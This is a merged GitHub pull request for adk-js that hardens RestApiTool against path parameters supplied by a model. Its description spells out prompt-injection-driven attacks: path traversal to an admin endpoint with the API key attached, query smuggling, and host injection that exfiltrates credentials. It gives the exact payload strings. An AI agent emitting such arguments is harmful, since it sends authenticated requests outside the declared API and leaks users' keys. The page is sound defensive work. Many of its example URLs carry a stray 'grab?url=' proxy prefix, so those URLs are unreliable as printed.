Repository navigation
Fix: encode and validate OpenAPI path parameters in RestApiTool - #638
Merged
ScottMansfield merged 9 commits intoAug 10, 2026
Merged
Conversation
added 7 commits
August 6, 2026 21:11
…tApiTool Path parameter values come from the model and were substituted into the request URL verbatim, so a `/`, `?` or `#` let a value escape the path segment (and the endpoint) the spec declared, and the substitution loop ran over `baseUrl + path` so a value could reach the host. Values are now percent-encoded at capture time, `.` and `..` are rejected (URL normalization resolves `%2E%2E` like a literal `..`), and placeholders are resolved against `endpoint.path` only. A single regex pass with a function replacement also fixes the first-occurrence-only and `$&`-expansion defects of `String.replace` with a string pattern.
`servers[0].url` was taken verbatim, so a spec declaring
`https://{region}.api.example.com` kept a literal placeholder in
`baseUrl`. Variables are now substituted from their declared `default`,
which the Server Object requires. An undeclared placeholder is left
literal rather than throwing, so specs that parse today keep parsing.
…oint Covers spec -> OpenAPIToolset -> RestApiTool.runAsync -> fetch, the only place the encoding, the credential attachment and the final request URL are observed together.
An empty variable map already leaves every placeholder literal via the `?? placeholder` fallback, so the early return bought nothing.
Resolve a Server Object variable from its declared default, falling back
to the first enum entry when the default is empty. A placeholder with no
value left to resolve it would otherwise be carried into the request as a
literal {name} host, so report it naming the offending variable instead.
…path parameters Cover the remaining cases from google#597: the API key lands on a contained path, declared query parameters still merge alongside an encoded path value, and spaces, non-ASCII text, reserved characters and non-string values all survive the encoder unchanged.
…server variables Collecting every unresolved variable to join into one message needed an accumulator, a pass-through branch and a trailing check. Reporting the first one throws where it is found and drops 11 lines.
ScottMansfield
requested changes
Aug 10, 2026
ScottMansfield
left a comment
Member
There was a problem hiding this comment.
Just one thing, changing Map to Record, otherwise LGTM.
| // A Map, not a plain object: placeholder names come from the spec's path | ||
| // template, and an object lookup would resolve `{constructor}` against | ||
| // Object.prototype. | ||
| const pathParams = new Map<string, string>(); |
Member
There was a problem hiding this comment.
This can be Record<string, string> instead of a Map
added 2 commits
August 10, 2026 13:01
The Map bought nothing over the object literal its neighbours already use; guarding the placeholder lookup with Object.hasOwn keeps a spec that names a path parameter 'constructor' from resolving it off Object.prototype.
…rsed-spec containment test The pattern constant had one use eighteen lines below it and did not centralize anything, since rest_api_tool.ts inlines the same literal. The containment case asserts on prepareRequestParams, so it belongs with the other prepareRequestParams cases rather than reaching across layers from the parser suite.
ScottMansfield
approved these changes
Aug 10, 2026
Merged
prasanna8585
pushed a commit
to prasanna8585/adk-js
that referenced
this pull request
Aug 21, 2026
…le#638) * Fix: percent-encode and validate OpenAPI path parameter values in RestApiTool Path parameter values come from the model and were substituted into the request URL verbatim, so a `/`, `?` or `#` let a value escape the path segment (and the endpoint) the spec declared, and the substitution loop ran over `baseUrl + path` so a value could reach the host. Values are now percent-encoded at capture time, `.` and `..` are rejected (URL normalization resolves `%2E%2E` like a literal `..`), and placeholders are resolved against `endpoint.path` only. A single regex pass with a function replacement also fixes the first-occurrence-only and `$&`-expansion defects of `String.replace` with a string pattern. * Fix: resolve OpenAPI Server Object variables when collecting operations `servers[0].url` was taken verbatim, so a spec declaring `https://{region}.api.example.com` kept a literal placeholder in `baseUrl`. Variables are now substituted from their declared `default`, which the Server Object requires. An undeclared placeholder is left literal rather than throwing, so specs that parse today keep parsing. * Test: assert a malicious path argument stays inside the declared endpoint Covers spec -> OpenAPIToolset -> RestApiTool.runAsync -> fetch, the only place the encoding, the credential attachment and the final request URL are observed together. * Fix: collapse the redundant variables guard in resolveServerUrl An empty variable map already leaves every placeholder literal via the `?? placeholder` fallback, so the early return bought nothing. * Fix: fail loudly on an unresolvable OpenAPI server URL variable Resolve a Server Object variable from its declared default, falling back to the first enum entry when the default is empty. A placeholder with no value left to resolve it would otherwise be carried into the request as a literal {name} host, so report it naming the offending variable instead. * Test: pin credential attachment and value round-tripping for encoded path parameters Cover the remaining cases from google#597: the API key lands on a contained path, declared query parameters still merge alongside an encoded path value, and spaces, non-ASCII text, reserved characters and non-string values all survive the encoder unchanged. * Refactor: throw from the replacer instead of accumulating unresolved server variables Collecting every unresolved variable to join into one message needed an accumulator, a pass-through branch and a trailing check. Reporting the first one throws where it is found and drops 11 lines. * Refactor: hold path parameters in a Record instead of a Map The Map bought nothing over the object literal its neighbours already use; guarding the placeholder lookup with Object.hasOwn keeps a spec that names a path parameter 'constructor' from resolving it off Object.prototype. * Refactor: inline the single-use server-variable regex and move the parsed-spec containment test The pattern constant had one use eighteen lines below it and did not centralize anything, since rest_api_tool.ts inlines the same literal. The containment case asserts on prepareRequestParams, so it belongs with the other prepareRequestParams cases rather than reaching across layers from the parser suite. --------- Co-authored-by: Amaad Martin <[email protected]>
2 of 9 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Please ensure you have read the contribution guide before creating a pull request.
Link to Issue or Description of Change
1. Link to an existing issue (if applicable):
RestApiTool: authenticated path traversal, query smuggling, and (with server variables) SSRF + credential exfiltration #597Problem:
Values bound to OpenAPI
pathparameters were substituted into the request URL verbatim, with no percent-encoding (core/src/tools/openapi_tool/rest_api_tool.ts):Those values come from the LLM, and
applyCredentialattaches the application's API key / bearer token to the assembled URL immediately afterwards. This is a defense asymmetry inside a single function: query values in the same loop go throughURLSearchParams, and the API key goes throughencodeURIComponent— only path values were raw. The three defects reported in #597 followed, plus a fourth smaller one:user_id: '../../admin/export'on/v1/users/{user_id}https://api.example.com/v1/users/../../admin/export, whichfetch's URL parse resolves tohttps://api.example.com/admin/export?key=SECRETuser_id: 'x?role=admin&debug=true'https://api.example.com/v1/users/x?role=admin&debug=true;role/debugare adopted as real query parameters by the?-splitting blockbaseUrl: 'https://{region}.api.example.com',region: 'evil.attacker.com/'https://evil.attacker.com/.api.example.com/v1/data?key=SECRET_API_KEY— the substitution loop ran over the host, andcollectOperationsnever resolved OpenAPI Server Object variables, so{region}survived intobaseUrlString.replacewith a string pattern replaces only the first occurrence and expands$&/$`/$'/$1in the replacement$&was corruptedHonest scope statement: exploiting this requires the model to be steered into emitting the malicious argument, i.e. there is a prompt-injection precondition. This is a defense-in-depth / hardening fix, not a directly-exploitable remote vulnerability. It is nonetheless a concrete encoding gap in a boundary the spec is expected to enforce. #597 records that this was reported to the Google OSS VRP (538901535), that the team declined to track it as a security bug, and that public disclosure was authorized — so there is no embargo on the description above.
Solution:
Two source files change (+75 lines of
src).core/src/tools/openapi_tool/rest_api_tool.tsencodePathParamValue(name, value):encodeURIComponentthe value, and reject a value that is exactly.or... Encoding alone is not sufficient for a dot-segment — measured, not assumed:encodeURIComponent('..')returns'..'unchanged (dots are unreserved), and even a hand-written%2E%2Eis normalized by the WHATWG URL parser, sonew URL('https://a.com/v1/users/%2E%2E/x').pathnameis/v1/x. Conversely a raw%becomes%25underencodeURIComponent('%2e%2e'->'%252e%252e'), so the two exact-string comparisons are complete: no input other than the literal./..can re-form a dot-segment. This is deliberately not a../blocklist —'../../admin/export'and'..%2F'are accepted and encoded; only the two exact strings a URL parser treats as dot-segments are rejected. The error names the parameter but never echoes the value, which is attacker-influenced and reaches the model and the logs.endpoint.pathonly, then concatenated with an untouchedbaseUrl, so a path parameter is structurally incapable of reaching the host. The single regex pass with a function replacement also fixes defect 4.pathParamsbecomes aMap, not a plain object. This is required, not cosmetic: placeholder names come from the spec's path template, and an object lookup would resolve{constructor}againstObject.prototypeand substitute a function into the URL.core/src/tools/openapi_tool/openapi_spec_parser/openapi_spec_parser.tsresolveServerUrl(server)substitutes Server Object{name}variables from their declareddefault, falling back to the firstenumentry when the default is the empty string.collectOperationsuses it instead of readingservers[0].urlverbatim. A placeholder that no declared variable can fill throws from inside the replacer, naming the offending variable and theservers[].variablesfield. It reports the first unresolved variable rather than aggregating every one: collecting them all needs an accumulator, areturn placeholderbranch and a trailing check (24 lines against 13) to buy a marginally kinder message in a case no test pins, and a spec author fixing them one re-run at a time reaches the same place.This second file is not separable scope: confining substitution to
endpoint.pathis what fixes variant 3, but on its own it would leave a literal{region}in the host for exactly the specs that previously had it filled in by a same-named path parameter — turning a steerable request into a broken one. Resolving the variable from its declareddefaultis the spec-compliant way to fill that placeholder, so the two changes have to land together for variant 3 to end up at a working, non-steerable request rather than a malformed URL.Post-fix results for the three variants from #597:
https://api.example.com/v1/users/..%2F..%2Fadmin%2Fexport(new URL(url).pathname === '/v1/users/..%2F..%2Fadmin%2Fexport')https://api.example.com/v1/users/x%3Frole%3Dadmin%26debug%3Dtrue([...new URL(url).searchParams.keys()]is empty)variables: {region: {default: 'us-central1'}}the parser yieldshttps://us-central1.api.example.comand the request stays there; anendpointwhosebaseUrlstill holds a literal{region}keeps it —evil.attacker.comnever appearsuser_id: '..'Error, no request is sentTwo intentional behavior changes, both without an opt-out.
projects/p/locations/l) to a single{name}path parameter now producesprojects%2Fp%2Flocations%2Flinstead of multiple path segments. That is the conformant encoding for astyle: simplepath parameter (allowReservedis defined only forin: query), and a value that can add path segments is precisely the vulnerability — the spec-side fix is to declare the segments as separate path parameters. This package implements no parameter serialization styles at all today (String(argValue)for every type), so no working feature regresses. There is deliberately no flag to disable the encoding: a knob that turns it off is a knob that restores the vulnerability. Everything in this package is@experimental.servers[0].urlwith an undeclared variable now throws at toolset construction instead of silently issuing a request to a literal{region}.api.example.comhost. OpenAPI requires every server variable to be declared, so only invalid specs are affected, and those specs were already sending broken requests. Verified that nothing existing starts throwing: no fixture or test in the repo uses a templated server URL (core/test/tools/openapi_tool/fixtures/petstore.yaml,fixtures/truanon.yamlandopenapi_toolset_test.tsall use plain hosts), and the fullcore/test/tools/openapi_tool/suite passes.Deliberate omission. No post-substitution
new URL(...)host allowlist check, which is the third remediation bullet in #597. Once placeholders can only land inendpoint.pathand every value is percent-encoded, a value cannot reach the authority component at all, so such a check would be unreachable defensive code that invites the reader to think the structural guarantee is weaker than it is.Not a parity change.
adk-pythonhas the identical gap (_prepare_request_paramsuses a plainstr.format, and itsOpenApiSpecParserreadsservers[0]['url']verbatim), so this is net-new behavior relative to Python and no parity claim is made.adk-pythonis untouched here.Testing Plan
Unit Tests:
26 new test cases, all additive — no pre-existing test was edited, renamed, skipped or deleted.
core/test/tools/openapi_tool/rest_api_tool_test.ts— new nesteddescribe('path parameter encoding')with 17 cases: traversal encoding, query smuggling (asserting the assembled URL carries zero query parameters), the credential still landing on a contained path viaapplyCredential+createApiKeyScheme, declared query parameters merging alongside an encoded path value,..rejection,.rejection (exact message), no substitution into the host, reserved characters,$&non-expansion, repeated placeholder, unsupplied placeholder left literal,{constructor}not resolved fromObject.prototype,%2e%2edouble-encoding, and the positive round-trips — space, non-ASCII (café->caf%C3%A9), a value of pure reserved characters asserted todecodeURIComponentback verbatim, and non-string (123,true) values.core/test/tools/openapi_tool/openapi_spec_parser_test.ts— newdescribe('server URL resolution')with 8 cases: variables resolved from defaults (including two placeholders in one URL),enum[0]fallback when the default is empty, a throw naming an undeclared variable, a throw when a declared variable supplies neither default nor enum, a throw naming the unresolved variable when a sibling resolves (exact message), noservers, plain URL unchanged, and an end-to-end containment case that parses a templated spec and feedsparsed[0].endpointstraight intoprepareRequestParamswithregion: 'evil.attacker.com/', assertingnew URL(result.url).host === 'us-central1.api.example.com'. That case lives here rather than in the integration test because the property it pins is a property of the parser's output — that thebaseUrlthis parser produces cannot be steered by a later path argument — so it reads asparse->parsed[0].endpoint->prepareRequestParamswith nothing mocked in between.core/test/tools/openapi_tool/openapi_toolset_integration_test.ts— one case driving spec ->OpenAPIToolset->RestApiTool.runAsync-> mockedfetch, the only place the encoding,applyCredentialand the final URL are observed together. It builds a realContext/InvocationContext/Sessionrather than a cast mock.Commands run:
npm run ts:checkis not green in this repo and was not made so by this change: it reports 287 errors onmain, all from test files resolving@google/adktocore/dist/typesafter a local build while also importingcore/srcrelatively. Every such error in a file this PR touches (openapi_spec_parser_test.ts:141,:172,openapi_toolset_integration_test.ts:57,:92)git blames to #385 / #386, not to this branch, and no error references eithersrcfile this PR changes..github/workflows/validation.yamldoes not runts:check.Coverage.
core/src/tools/openapi_tool/rest_api_tool.tsmeasures 100% statements / branches / functions / lines. Inopenapi_spec_parser.tsevery statement and branch of the newresolveServerUrland of itscollectOperationscall site is covered (checked per-branch againstcoverage-final.json, not just the file total); the file's only remaining gaps — thedelete schemaDict['type']line insanitizeSchemaTypesand theoptions.preservePropertyNames ?? falsedefault — are pre-existing and untouched.Mutation proof. Every new test is killed by at least one mutation. Each source hunk was mutated in turn, the suite re-run, and the tree restored (baseline: 108 passed):
return encodeURIComponent(value)->return valueexpected 'http://api.example.com/v1/users/a b#c…' to be 'http://api.example.com/v1/users/a%20b…', and end to endexpected '/admin/export' to be '/v1/users/..%2F..%2Fadmin%2Fexport'baseUrl + pathagainexpected 'https://evil.attacker.com%2F.api.exam…' to be 'https://{region}.api.example.com/v1/d…'resolveServerUrl(...)->spec.servers?.[0]?.url || ''expected '{region}.api.example.com' to be 'us-central1.api.example.com';expected [Function] to throw an error./..guard, keepencodeURIComponentexpected [Function] to throw an errorenumfallbackUnresolved server URL variable 'region' in 'https://{region}.api.example.com'.expected [Function] to throw an errorMap-> plain object lookupexpected 'http://api.example.com/v1/function Ob…' to be 'http://api.example.com/v1/{constructo…'/gregex flagexpected 'http://api.example.com/a/7/b/{id}' to be 'http://api.example.com/a/7/b/7'Manual End-to-End (E2E) Tests:
No new e2e test:
tests/e2e/tools/rest_api_tool_auth_e2e_test.tsusespath: '/test'with no path parameters, so it is unaffected by this change. It was run and fails atnew Gemini(...)withAPI key must be provided via constructor or GOOGLE_GENAI_API_KEY or GEMINI_API_KEY environment variable— it needs live model credentials, which this environment does not have. That failure is environmental and was confirmed to reproduce identically on an unmodified tree.To reproduce the fix by hand against a real endpoint:
OpenAPIToolsetwhose spec declaresservers: [{url: 'https://api.example.com'}]and a path/v1/users/{user_id}with anapiKeysecurity scheme.user_id = '../../admin/export'.https://api.example.com/admin/export?key=<your key>. After it, the request goes tohttps://api.example.com/v1/users/..%2F..%2Fadmin%2Fexport?key=<your key>— still authenticated, still inside the declared endpoint.user_id = '..': the tool now rejects withInvalid value for path parameter 'user_id': relative path segments ('.' and '..') are not allowed.and no request is sent. The throw propagates out ofrunAsyncand the tool-calling flow converts it into the function-response error the model sees (and fires the pluginonToolErrorhook), so no new try/catch was added.servers: [{url: 'https://{region}.api.example.com'}]with novariables: theOpenAPIToolsetconstructor now throwsUnresolved server URL variable 'region' in 'https://{region}.api.example.com'. Declare a default under servers[].variables.Addingvariables: {region: {default: 'us-central1'}}resolves it.Checklist